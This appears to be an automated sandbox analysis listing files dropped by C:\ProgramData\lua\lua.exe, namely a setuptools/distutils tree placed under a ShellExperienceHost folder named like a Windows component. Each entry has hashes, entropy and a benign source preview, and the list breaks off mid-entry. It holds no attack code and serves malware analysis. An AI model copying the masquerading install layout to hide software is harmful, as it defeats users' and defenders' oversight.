Entropy (8bit):	4.9593491706048285
Encrypted:	false
SSDEEP:	6:2MqdSOGVKfetEX8sEuGLRxtqdSOGR74pN6Dzqv:2qbcmEdEuudXUpN6DzU
MD5:	6E8EDE13DB59FBC370572CA72D66E36C
SHA1:	A0BE976BB2269ECB935661972C427CDD70BDCA1E
SHA-256:	1E5902164A0AE536D9E4430B6CB29884B718FC4DF5901583F13A96D848266AD4
SHA-512:	153439FE69A27A5FCEA82162B42FEA5BD88A469B1A853E5FC9DFBF8B6F64CD90B3900DC5683593F1DC97553DAEF4D42857E9437CC4BF05E95C3117619B4BCEB1
Malicious:	false
Preview:	https://files.pythonhosted.org/packages/source/c/certifi/certifi-2016.9.26.tar.gz#md5=baa81e951a29958563689d868ef1064d.https://files.pythonhosted.org/packages/source/w/wincertstore/wincertstore-0.2.zip#md5=ae728f2f007185648d0c7a8679b361e2.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools-51.0.0.dist-info\entry_points.txt Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3143
Entropy (8bit):	4.536591833837899
Encrypted:	false
SSDEEP:	48:R/YG8BZvy3g6yj+DsmnA540rZh2Phv4hhpTSeTonTj:qG8jPAorZoP94hTTSecTj
MD5:	B7EFFC5DA69B35D6794BA145EC0FE238
SHA1:	BCB0BA6F1E37C84D8616760EA8B555F6DE37CB5B
SHA-256:	D4AE45AF4FB93E1DD945916EC0D6B0F0444688D2D5A87BDD28336DDE85C64BAC
SHA-512:	8DF58FF4BD178241EBFFF00A6135FF1701D85D0FACC18B747E763B9BBE0CCCD2E6D19F067866B2D802693B53DCF9BE9935481E179886D264750FA6693A7C7C66
Malicious:	false
Preview:	[console_scripts].easy_install = setuptools.command.easy_install:main.easy_install-3.8 = setuptools.command.easy_install:main..[distutils.commands].alias = setuptools.command.alias:alias.bdist_egg = setuptools.command.bdist_egg:bdist_egg.bdist_rpm = setuptools.command.bdist_rpm:bdist_rpm.bdist_wininst = setuptools.command.bdist_wininst:bdist_wininst.build_clib = setuptools.command.build_clib:build_clib.build_ext = setuptools.command.build_ext:build_ext.build_py = setuptools.command.build_py:build_py.develop = setuptools.command.develop:develop.dist_info = setuptools.command.dist_info:dist_info.easy_install = setuptools.command.easy_install:easy_install.egg_info = setuptools.command.egg_info:egg_info.install = setuptools.command.install:install.install_egg_info = setuptools.command.install_egg_info:install_egg_info.install_lib = setuptools.command.install_lib:install_lib.install_scripts = setuptools.command.install_scripts:install_scripts.rotate = setuptools.command.rotate:rotate.saveop

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools-51.0.0.dist-info\top_level.txt Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	54
Entropy (8bit):	4.0024950858099375
Encrypted:	false
SSDEEP:	3:3Wd+YUnLWghk5QfQYv:3Wd+pWgPv
MD5:	9D6C9EB410F58BDCE1DA32D9E98FA6CD
SHA1:	7D25E7E8A4D3E400681E4302F23C72A50F08A64A
SHA-256:	5DCE3BFBF6E7F485DAD05DA53FA744FA5FB249EE579AFFE2848597F9A5230208
SHA-512:	40DB60C7854ECFC8B57F2CA19D3D41C729C21AABC7108DD22677134CE71C511EA00A4E73E925E61DEA110BBF8B49312340C0CA92803C92B669ED134BC8E349DD
Malicious:	false
Preview:	_distutils_hack.easy_install.pkg_resources.setuptools.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools-51.0.0.dist-info\zip-safe Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:v:v
MD5:	68B329DA9893E34099C7D8AD5CB9C940
SHA1:	ADC83B19E793491B1C6EA0FD8B46CD9F32E592FC
SHA-256:	01BA4719C80B6FE911B091A7C05124B64EEECE964E09C058EF8F9805DACA546B
SHA-512:	BE688838CA8686E5C90689BF2AB585CEF1137C999B48C70B92F67A5C34DC15697B5D11C982ED6D71BE1E1E7F7B4E0733884AA97C3F7A339A8ED03577CF74BE09
Malicious:	false
Preview:	.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	7681
Entropy (8bit):	4.510158826701817
Encrypted:	false
SSDEEP:	96:8m+vWupu2rpjyIKV7Eqgve+rE/k5DvAPIY7+L1yD2b7pGtewA3JIXwpT3HJCQAe+:8bdDuq3D4PIY6yDQwA3JdjJCQv9h6
MD5:	A3B5B7BB7FE89FC5BD4B29DE218AB27B
SHA1:	B2C22E4FAAED0D33AEAC4A6ED34AE59031D537EE
SHA-256:	D1CDB7D8B47238B19D2FE6309A093CB8CB9BC7B236D70FA2C495A24F48D02BE7
SHA-512:	2E77B215F018084A8FC344F90DB5C95570002E6A944E095A58028FDD9B263EF543E85F0A769EF884C84C14F39F7357FF4695460CFCCCDEF3F3064E0AAE5B8F8F
Malicious:	false
Preview:	"""Extensions to the 'distutils' for large or complex distributions"""..from fnmatch import fnmatchcase.import functools.import os.import re..import _distutils_hack.override # noqa: F401..import distutils.core.from distutils.errors import DistutilsOptionError.from distutils.util import convert_path..from ._deprecation_warning import SetuptoolsDeprecationWarning..import setuptools.version.from setuptools.extension import Extension.from setuptools.dist import Distribution.from setuptools.depends import Require.from . import monkey...__all__ = [. 'setup', 'Distribution', 'Command', 'Extension', 'Require',. 'SetuptoolsDeprecationWarning',. 'find_packages', 'find_namespace_packages',.]..__version__ = setuptools.version.__version__..bootstrap_install_from = None..# If we run 2to3 on .py files, should we also convert docstrings?.# Default: yes; assume that we can detect doctests reliably.run_2to3_on_doctests = True.# Standard package names for fixer packages.lib2to3_fixer_packages =

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_deprecation_warning.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	218
Entropy (8bit):	4.402159787480587
Encrypted:	false
SSDEEP:	3:yWBJKYzG+LM2BbM2elFHvNdEY9s4xi2xFwlY/3NFxeo5LK0zBJJul8G+LM2FFJ00:yqkBl+Ws4EI4aBTatxXaFNFFiliN/
MD5:	00EB5CA8137E4D5569787DC4B577E570
SHA1:	9F554FF229A777B55816E0B8B39070EFBE8DF585
SHA-256:	8D4F7E76D7EFE9C2A6B5024E5CDF273F59A6EE038DC3990A12D88FB5BC276722
SHA-512:	3A030BF00596B4BE36E4FC375BBFCC5B0A93C6A0855557DE87CCC155A26E19F7F5DCEAA638B5A24A087AD5E5DA64258C6F8944950A0C7BF3B47E23F478E0A168
Malicious:	false
Preview:	class SetuptoolsDeprecationWarning(Warning):. """. Base class for warning deprecations in ``setuptools``.. This class is not derived from ``DeprecationWarning``, and as such is. visible by default.. """.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	250
Entropy (8bit):	4.631863978744436
Encrypted:	false
SSDEEP:	6:Hm7WIFtLJEZF1RO+W3N+sMcQh8ng1OcHy8yVViMIs1:HmqIFDE5RaTMdhb1OcHyjVViU1
MD5:	97AE7F32D108DC54533AEF4AD010E929
SHA1:	62DCEEAB3349B01B7204476292C6B24AF2DAF007
SHA-256:	969400A6147FEEE8560B67DB484A6CE096BD5B86307B337F217FCB244B779215
SHA-512:	486D054891B146EB61C77323AFAD47A84A3D1299ED981635F4D3D4CB0923DE32B9D7EC672997A04C2F9A0D8722EA9DBCD702A569075CF235643DBE91975C0925
Malicious:	false
Preview:	"""distutils..The main package for the Python Module Distribution Utilities. Normally.used from a setup script as.. from distutils.core import setup.. setup (...)."""..import sys..__version__ = sys.version[:sys.version.index(' ')]..local = True.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\_msvccompiler.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	20813
Entropy (8bit):	4.5141210863759
Encrypted:	false
SSDEEP:	384:0XGbeL4TafyhU7tuIKDGtZfTHE5cLE/9VONxaxc:g6ewSYabpEiT
MD5:	0746642D4D2AA5AC5E5CAA6158E17651
SHA1:	09AE306C2F5DB01E10F80B4742EF0DE59608E9C2
SHA-256:	2507077B3E74500DC140A2BD7CE280348FC6CCD171DFFAA765DC87C873408210
SHA-512:	9D043EB85C8093031EC94729FECC19F2BA9E3CEA1D5D941495DB0DD1C6D1BAE1669E105D3D68BF7620D3F3267218FA193C915B8C7881038F44C5F620377E993D
Malicious:	false
Preview:	"""distutils._msvccompiler..Contains MSVCCompiler, an implementation of the abstract CCompiler class.for Microsoft Visual Studio 2015...The module is compatible with VS 2015 and later. You can find legacy support.for older versions in distutils.msvc9compiler and distutils.msvccompiler.."""..# Written by Perry Stoll.# hacked by Robin Becker and Thomas Heller to do a better job of.# finding DevStudio (through the registry).# ported to VS 2005 and VS 2008 by Christian Heimes.# ported to VS 2015 by Steve Dower..import os.import subprocess.import contextlib.import warnings.import unittest.mock.with contextlib.suppress(ImportError):. import winreg..from distutils.errors import DistutilsExecError, DistutilsPlatformError, \. CompileError, LibError, LinkError.from distutils.ccompiler import CCompiler, gen_lib_options.from distutils import log.from distutils.util import get_platform..from itertools import count..def _find_vc2015():. try:. key = winreg.O

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\archive_util.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	8572
Entropy (8bit):	4.496971321669933
Encrypted:	false
SSDEEP:	192:qct4VgTdImDrwpIOwP3e6Gj6cFsMXUJTswqzWTuzQXh:d4kPDSI5PxGjTF7+Tswql8x
MD5:	9978FC55545736721F0CDD43EEED54E5
SHA1:	F53D27F3A87FD977B0D4C36FFB1BCC54F9623DED
SHA-256:	A96FAE886C187B14EF2B97BE8927A5FF7D43B21C7E0AA4DA9CD3CAEAC9F07FDF
SHA-512:	BF61E18300DE09C9EA570DDED495E3F3DD1399FC0DC68B071A7E545F3A5C77032C95BC35EB0D7C203B7C75224821F4F09E4E7817AA33283EC418448C8F4CF708
Malicious:	false
Preview:	"""distutils.archive_util..Utility functions for creating archive files (tarballs, zip files,.that sort of thing)."""..import os.from warnings import warn.import sys..try:. import zipfile.except ImportError:. zipfile = None...from distutils.errors import DistutilsExecError.from distutils.spawn import spawn.from distutils.dir_util import mkpath.from distutils import log..try:. from pwd import getpwnam.except ImportError:. getpwnam = None..try:. from grp import getgrnam.except ImportError:. getgrnam = None..def _get_gid(name):. """Returns a gid, given a group name.""". if getgrnam is None or name is None:. return None. try:. result = getgrnam(name). except KeyError:. result = None. if result is not None:. return result[2]. return None..def _get_uid(name):. """Returns an uid, given a user name.""". if getpwnam is None or name is None:. return None. try:. result = getpwnam(name). except KeyError:.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\bcppcompiler.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	14894
Entropy (8bit):	4.242978232605063
Encrypted:	false
SSDEEP:	192:0CxM2nT6f1P9AfICo9Foz/M2SxNs2pNOdvfFdsKnp:7M2K1jCoPozWaBF2Knp
MD5:	A80FBF67FC165A7CEAF651E75EE4A2CB
SHA1:	DA29DA11BB7C906828F2A9E0E5492923742C0B78
SHA-256:	3890D5A425265FA1FCBFFEE5575CE27D5D5F731F760ABD9D862521EBDF3D5092
SHA-512:	AD17E9B64E7E0BD4A7FC46864007F89A48DF08914997A93A46F9DFCEABA7A5975B1E56360328DB90E65B06C620BC285024D222700A2A7A874E33C57554CC038C
Malicious:	false
Preview:	"""distutils.bcppcompiler..Contains BorlandCCompiler, an implementation of the abstract CCompiler class.for the Borland C++ compiler.."""..# This implementation by Lyle Johnson, based on the original msvccompiler.py.# module and using the directions originally published by Gordon Williams...# XXX looks like there's a LOT of overlap between these two classes:.# someone should sit down and factor out the common code as.# WindowsCCompiler! --GPW...import os.from distutils.errors import \. DistutilsExecError, \. CompileError, LibError, LinkError, UnknownFileError.from distutils.ccompiler import \. CCompiler, gen_preprocess_options.from distutils.file_util import write_file.from distutils.dep_util import newer.from distutils import log..class BCPPCompiler(CCompiler) :. """Concrete class that implements an interface to the Borland C/C++. compiler, as defined by the CCompiler abstract class.. """.. compiler_type = 'bcpp'.. # Just set this so CCompiler's constructor

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\ccompiler.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	47437
Entropy (8bit):	4.368504848524346
Encrypted:	false
SSDEEP:	768:Sg1gC+MsvR2CtZxS/3BjyVdaIO/+OGMJ/p:SRNGy3aIJ9M/
MD5:	5C94126F8BECD015990AE933E2C3E001
SHA1:	B864B3A0E8F4A053A725FB14C9E9D3E8380D884C
SHA-256:	E1CA9082AD3A35B1A8D2F6B318C4F668F67A2B667E1DCB919FD3DFCFF6D050FC
SHA-512:	AA5FBA7ECC7A233A88E89F990EBE5646F4F8F1D2DD4DD6F04CAC600DEA88C63BA183B661065C658C76273E8DBC4B4E71A5FD8894A7BB84672F33ED08D8CF2306
Malicious:	false
Preview:	"""distutils.ccompiler..Contains CCompiler, an abstract base class that defines the interface.for the Distutils compiler abstraction model."""..import sys, os, re.from distutils.errors import *.from distutils.spawn import spawn.from distutils.file_util import move_file.from distutils.dir_util import mkpath.from distutils.dep_util import newer_group.from distutils.util import split_quoted, execute.from distutils import log..class CCompiler:. """Abstract base class to define the interface that must be implemented. by real compiler classes. Also has some utility methods used by. several compiler classes... The basic idea behind a compiler abstraction class is that each. instance can be used for all the compile/link steps in building a. single project. Thus, attributes common to all of those compile and. link steps -- include directories, macros to define, libraries to link. against, etc. -- are attributes of the compiler instance. To allow for. variability in

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\cmd.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	18079
Entropy (8bit):	4.363758906898827
Encrypted:	false
SSDEEP:	384:WpFq779PxAftIyBkWHkjgUBkIr6dosLc7lO3HGbLKXnJ:WGHvkDZyHXRRROUAnJ
MD5:	7A2AEF02AA8EFEE013F6D549D8883496
SHA1:	B70CF256FD895B9E953D6CC983036ED0D771F0D3
SHA-256:	79CA3A2C0194B686CBB8F69FBA19A02A09304512FF598F0A27861E0C21E9725B
SHA-512:	954CA5F270EE9758B31E60A3BA979543CF42F26C5B99D9F068131927CD0A0D830708E89EBE12F73FF071416FBFE8403777DDEF00E76A6F5AE6C5985C491EAFD5
Malicious:	false
Preview:	"""distutils.cmd..Provides the Command class, the base class for the command classes.in the distutils.command package.."""..import sys, os, re.from distutils.errors import DistutilsOptionError.from distutils import util, dir_util, file_util, archive_util, dep_util.from distutils import log..class Command:. """Abstract base class for defining command classes, the "worker bees". of the Distutils. A useful analogy for command classes is to think of. them as subroutines with local variables called "options". The options. are "declared" in 'initialize_options()' and "defined" (given their. final values, aka "finalized") in 'finalize_options()', both of which. must be defined by every command class. The distinction between the. two is necessary because option values might come from the outside. world (command line, config file, ...), and any options dependent on. other options must be computed after these outside influences have. been processed -- hence 'fi

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\command\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	799
Entropy (8bit):	3.7840667205167846
Encrypted:	false
SSDEEP:	24:HMeCD8RbaiF/addSFtdK7eylA1HQkoVB6:seCNiNaddSDyWVQkoVB6
MD5:	7C981CE80DF18B24019A3A5635BA92DD
SHA1:	8DCCEB3A590954C7D6AC051B1E88F9AAA045E80F
SHA-256:	D9303EAE5343973788F9CB1B5875C58C60FCB8E62A00B31FC963A14F8F670BA8
SHA-512:	EF1A854578ABE7697E27EA0287BB7FC7BB56C9A18FFAD8A3AEBB60EC879DC3F08CA519A3D3AB5F3D63CEA3E6A426095AA1A29D671536FA4F67B111EA23189B12
Malicious:	false
Preview:	"""distutils.command..Package containing implementation of all the standard Distutils.commands."""..__all__ = ['build',. 'build_py',. 'build_ext',. 'build_clib',. 'build_scripts',. 'clean',. 'install',. 'install_lib',. 'install_headers',. 'install_scripts',. 'install_data',. 'sdist',. 'register',. 'bdist',. 'bdist_dumb',. 'bdist_rpm',. 'bdist_wininst',. 'check',. 'upload',. # These two are reserved for future use:. #'bdist_sdux',. #'bdist_pkgtool',. # Note:. # bdist_packager is not included because it only provides. # an abstract base class. ].

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\command\bdist.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5562
Entropy (8bit):	4.240369903006785
Encrypted:	false
SSDEEP:	96:FMfrm1xJm1bKL4IGbnUo/tNxK4hoCCK4BrgOMaN7/17S3oTYW/7OQAJ3Gw/GgDA1:FMfa1xJm1+kIUntc4hoCqgOzNxtn7OQT
MD5:	2AF1405F81A3873B0DE48250DC9C50FE
SHA1:	9827874F4AB3843E00F8FF6C5BB47EE5A0A16CB6
SHA-256:	DB3E1EB9D465FE7EE6DE51BD95E2F4218A9EB386EC9BC7347F17D9BA269F8CC8
SHA-512:	D70BD4E8585CBC4A2EE6E5082591CA80C9DB583B4818B9F2BB9E5584F24548CEB180E60144A730352D16F7928A55C864905082A49D274A3F02A8D41DD89CDF49
Malicious:	false
Preview:	"""distutils.command.bdist..Implements the Distutils 'bdist' command (create a built [binary].distribution)."""..import os.from distutils.core import Command.from distutils.errors import *.from distutils.util import get_platform...def show_formats():. """Print list of available formats (arguments to "--format" option).. """. from distutils.fancy_getopt import FancyGetopt. formats = []. for format in bdist.format_commands:. formats.append(("formats=" + format, None,. bdist.format_command[format][1])). pretty_printer = FancyGetopt(formats). pretty_printer.print_help("List of available distribution formats:")...class bdist(Command):.. description = "create a built (binary) distribution".. user_options = [('bdist-base=', 'b',. "temporary directory for creating built distributions"),. ('plat-name=', 'p',. "platform name to embed in generated filenames ". "(

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\command\bdist_dumb.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4913
Entropy (8bit):	4.07772608933135
Encrypted:	false
SSDEEP:	96:EslMKqVbTo/epWN5XjBhJ6FeRcJ2DxbfsR0P+021E2:EslHAsrzH5O
MD5:	A814B2B1965589A195891B3925F23A49
SHA1:	9067E50BBB909FCAD9A7E0795772715870FF0C8C
SHA-256:	053BABF63708A69C8FECF89ABE37EC93B623125AAFC5E60EDA7A54C8F3CE7A47
SHA-512:	F103D98DE159A9C6CDE65B00FAA58992850A6F2334FA5FEB38EE8E629AAFE8CA8F0EDF36DA59DF6B0E833F17E575E8CBE9CE6CFCEA0CB3604FDE5A8A2AE75001
Malicious:	false
Preview:	"""distutils.command.bdist_dumb..Implements the Distutils 'bdist_dumb' command (create a "dumb" built.distribution -- i.e., just an archive to be unpacked under $prefix or.$exec_prefix)."""..import os.from distutils.core import Command.from distutils.util import get_platform.from distutils.dir_util import remove_tree, ensure_relative.from distutils.errors import *.from distutils.sysconfig import get_python_version.from distutils import log..class bdist_dumb(Command):.. description = "create a \"dumb\" built distribution".. user_options = [('bdist-dir=', 'd',. "temporary directory for creating the distribution"),. ('plat-name=', 'p',. "platform name to embed in generated filenames ". "(default: %s)" % get_platform()),. ('format=', 'f',. "archive format to create (tar, gztar, bztar, xztar, ". "ztar, zip)"),. ('keep-temp', 'k',.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\command\bdist_msi.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	35579
Entropy (8bit):	4.575343187166742
Encrypted:	false
SSDEEP:	384:yFILWCbNfE1FIx2eA/STYVB43qRUgx5CW0IlmCp+xiBNIH39GoWadXCFQyHf4hWS:yFITBhIBFRUQCM5m9G7JKMFg4a
MD5:	A6D7D6C07440C6EF8EDAEFC5DEE25DFE
SHA1:	FCC6095ABA65C6DE244619CA0C300608FFAF3C9E
SHA-256:	11515060DFD7F84C5E78FF2099D57D25C20DB2E506B0B254CFD69F314D11B7C7
SHA-512:	906783733FC9229C4444CF548971F1FBFE214BEFB90F98129E2B611597A504D7AAF1BCCA23BBFA46097D96E8E73E64885E9421A22776FF31D8F90FCE27F829E1
Malicious:	false
Preview:	# Copyright (C) 2005, 2006 Martin von L.wis.# Licensed to PSF under a Contributor Agreement..# The bdist_wininst command proper.# based on bdist_wininst.""".Implements the bdist_msi command.."""..import os.import sys.import warnings.from distutils.core import Command.from distutils.dir_util import remove_tree.from distutils.sysconfig import get_python_version.from distutils.version import StrictVersion.from distutils.errors import DistutilsOptionError.from distutils.util import get_platform.from distutils import log.import msilib.from msilib import schema, sequence, text.from msilib import Directory, Feature, Dialog, add_data..class PyDialog(Dialog):. """Dialog class with a fixed layout: controls at the top, then a ruler,. then a list of buttons: back, next, cancel. Optionally a bitmap at the. left.""". def __init__(self, args, *kw):. """Dialog(database, name, x, y, w, h, attributes, title, first,. default, cancel, bitmap=true)""". Dialog.__init__(se

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\command\bdist_rpm.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	21537
Entropy (8bit):	4.403299764650821
Encrypted:	false
SSDEEP:	384:ncAyp8slkpQxNsZ/rosk7sFTzX2REUkWYYT5:ncAyC/roskYRzeHk1Yl
MD5:	F6F2383C0E4F35994FF20B34D7BE9707
SHA1:	35E9A086836BD1DFF16167AFE747E20E6758C692
SHA-256:	8233B0DB61A10D26DCAB46DDAB6E5C4DBFA7E875969B46D284B41A77F9A42789
SHA-512:	8A3E4FC86896828C4C246589294530B83C0E63E70F0BB1200F1CF71C7B643D21C213DB7E921378CBFAA6242D7238C2872D48A9DEDC2ACD9C8E3516701A03A2C9
Malicious:	false
Preview:	"""distutils.command.bdist_rpm..Implements the Distutils 'bdist_rpm' command (create RPM source and binary.distributions)."""..import subprocess, sys, os.from distutils.core import Command.from distutils.debug import DEBUG.from distutils.file_util import write_file.from distutils.errors import *.from distutils.sysconfig import get_python_version.from distutils import log..class bdist_rpm(Command):.. description = "create an RPM distribution".. user_options = [. ('bdist-base=', None,. "base directory for creating built distributions"),. ('rpm-base=', None,. "base directory for creating RPMs (defaults to \"rpm\" under ". "--bdist-base; must be specified for RPM 2)"),. ('dist-dir=', 'd',. "directory to put final RPM files in ". "(and .spec files if --spec-only)"),. ('python=', None,. "path to Python interpreter to hard-code in the .spec file ". "(default: \"python\")"),. ('fix-python', None,.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\command\bdist_wininst.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	16030
Entropy (8bit):	4.213897692539671
Encrypted:	false
SSDEEP:	192:+wcftNSfShLR7ju1v2TcMMcDRQkv/qJFbgSRMhoMHLzumDIeX8GqoPv52N5c:+wWtNSfCBY2plzKMh9HH2c81oPv52NG
MD5:	CEA64ABBC04473291B7E6526556CBCD1
SHA1:	D3A6FE42EE575966F0C6E3AF7949C56D615FC600
SHA-256:	88695A23E55F1251CE9DE79CCCA1D69D23796B5D3EEC831C25A5EE47599D4B77
SHA-512:	DD8D2686149A3E4C476634E07D108FCD711C6CD9919BFC2760364089A6AFC27178E7378A16528235D0380E946C2E255E97FD373899FECE6E87D4BA0FF6237B5F
Malicious:	false
Preview:	"""distutils.command.bdist_wininst..Implements the Distutils 'bdist_wininst' command: create a windows installer.exe-program."""..import os.import sys.import warnings.from distutils.core import Command.from distutils.util import get_platform.from distutils.dir_util import remove_tree.from distutils.errors import *.from distutils.sysconfig import get_python_version.from distutils import log..class bdist_wininst(Command):.. description = "create an executable installer for MS Windows".. user_options = [('bdist-dir=', None,. "temporary directory for creating the distribution"),. ('plat-name=', 'p',. "platform name to embed in generated filenames ". "(default: %s)" % get_platform()),. ('keep-temp', 'k',. "keep the pseudo-installation tree around after " +. "creating the distribution archive"),. ('target-version=', None,.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\command\build.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5767
Entropy (8bit):	4.321676109464748
Encrypted:	false
SSDEEP:	96:L/c3CR3jRT7/mOVdyGEOgD4Wn38/n/+J1KG4gWMvQtQ:L/c3AjJ/mOnHWM/n/+J1KG9WRtQ
MD5:	60B11BD343C4E3930DF78441B5045574
SHA1:	36347D8DCE36E0F6EEB23833B52C1D6C1EF03492
SHA-256:	D753724765005336A5AE44D9DA98740401C55850B68ED4AC37B808685F8D0B4F
SHA-512:	E1FF27DC5B4115354D5A6E77F1D6CDACFAB1FFAA13994C1A9BD14A1A21B4F35A34157C1C6193991E598A070074412086EDE3A0C2CA61BEC3365390F26423FCCC
Malicious:	false
Preview:	"""distutils.command.build..Implements the Distutils 'build' command."""..import sys, os.from distutils.core import Command.from distutils.errors import DistutilsOptionError.from distutils.util import get_platform...def show_compilers():. from distutils.ccompiler import show_compilers. show_compilers()...class build(Command):.. description = "build everything needed to install".. user_options = [. ('build-base=', 'b',. "base directory for build library"),. ('build-purelib=', None,. "build directory for platform-neutral distributions"),. ('build-platlib=', None,. "build directory for platform-specific distributions"),. ('build-lib=', None,. "build directory for all distribution (defaults to either " +. "build-purelib or build-platlib"),. ('build-scripts=', None,. "build directory for scripts"),. ('build-temp=', 't',. "temporary build directory"),. ('plat-name=', 'p',.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\command\build_clib.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	8022
Entropy (8bit):	4.173179673941466
Encrypted:	false
SSDEEP:	96:u2BPSxjERm3N/8KMaXUlH6OLYaehQAan3fc9EAsJkXnsJkrOqrAan4ddF:u2BPjkm8XIH6OAi0A8eP
MD5:	1CB6CCEF39C800BB3BCD474077BCEF86
SHA1:	40AE72B8E5EE3B031FCE4B3446282E9C0E24FFFF
SHA-256:	6E05531E1DBC78B400D86930EBC6A602977F8FBA90057E0C4C8FB34EF00AFC9E
SHA-512:	B2F88889C8D2D01F2C852A59BAB8D38B1E271FF38138B003CED6DE593D83B08ED3AE0C8B38EDAEDB4327CF2E94D56B4F597F60930AA84D68D0B01340B7C486DF
Malicious:	false
Preview:	"""distutils.command.build_clib..Implements the Distutils 'build_clib' command, to build a C/C++ library.that is included in the module distribution and needed by an extension.module."""...# XXX this module has lots of code ripped-off quite transparently from.# build_ext.py -- not surprisingly really, as the work required to build.# a static library from a collection of C source files is not really all.# that different from what's required to build a shared object file from.# a collection of C source files. Nevertheless, I haven't done the.# necessary refactoring to account for the overlap in code between the.# two modules, mainly because a number of subtle details changed in the.# cut 'n paste. Sigh...import os.from distutils.core import Command.from distutils.errors import *.from distutils.sysconfig import customize_compiler.from distutils import log..def show_compilers():. from distutils.ccompiler import show_compilers. show_compilers()...class build_clib(Command):.. de

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\command\build_ext.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	31685
Entropy (8bit):	4.339213723054628
Encrypted:	false
SSDEEP:	384:PRouYMg+5+yYqoi65J1KthQO6QchAu448Ocs6Nzb1gyi7lxP/QK4SDBv:PRoM5d6Qc9wgyyXIQp
MD5:	E11EDCAC35340CE0D3A9EF9FF244EE8C
SHA1:	502932758654B3542A89AF0D9C1739AEDB238DF6
SHA-256:	63F4986DDF121DCA6034F7EFDE27D59E26658D8B3570B00595E0528B6FCEDC26
SHA-512:	8FB02234E8FBEB5A85102C2DA33D090B380185E1835634BB8C730E2A1D7E25E5F48885EA6D302A5204A85D54C0E02692EBE8076B430DAB59324E90B4D53FD105
Malicious:	false
Preview:	"""distutils.command.build_ext..Implements the Distutils 'build_ext' command, for building extension.modules (currently limited to C extensions, should accommodate C++.extensions ASAP)."""..import contextlib.import os.import re.import sys.from distutils.core import Command.from distutils.errors import .from distutils.sysconfig import customize_compiler, get_python_version.from distutils.sysconfig import get_config_h_filename.from distutils.dep_util import newer_group.from distutils.extension import Extension.from distutils.util import get_platform.from distutils import log.from . import py37compat..from site import USER_BASE..# An extension name is just a dot-separated list of Python NAMEs (ie..# the same as a fully-qualified module name)..extension_name_re = re.compile \. (r'^[a-zA-Z_][a-zA-Z_0-9](\.[a-zA-Z_][a-zA-Z_0-9])$')...def show_compilers ():. from distutils.ccompiler import show_compilers. show_compilers()...class build_ext(Command):.. description = "build C/C+

C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\command\build_py.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	17190
Entropy (8bit):	4.312321528320799
Encrypted:	false
SSDEEP:	384:HZixgF9S2n+gVX0c2jMm0+pAvf3w/S9nX:HZiqS2nFX030+23A/2X
MD5:	1F0E2ED67BD67677AE125BF3FABF5A62
SHA1:	F4EF0AE6D4B5F7BC4F62ADEA9D3C76FE03ACC37C
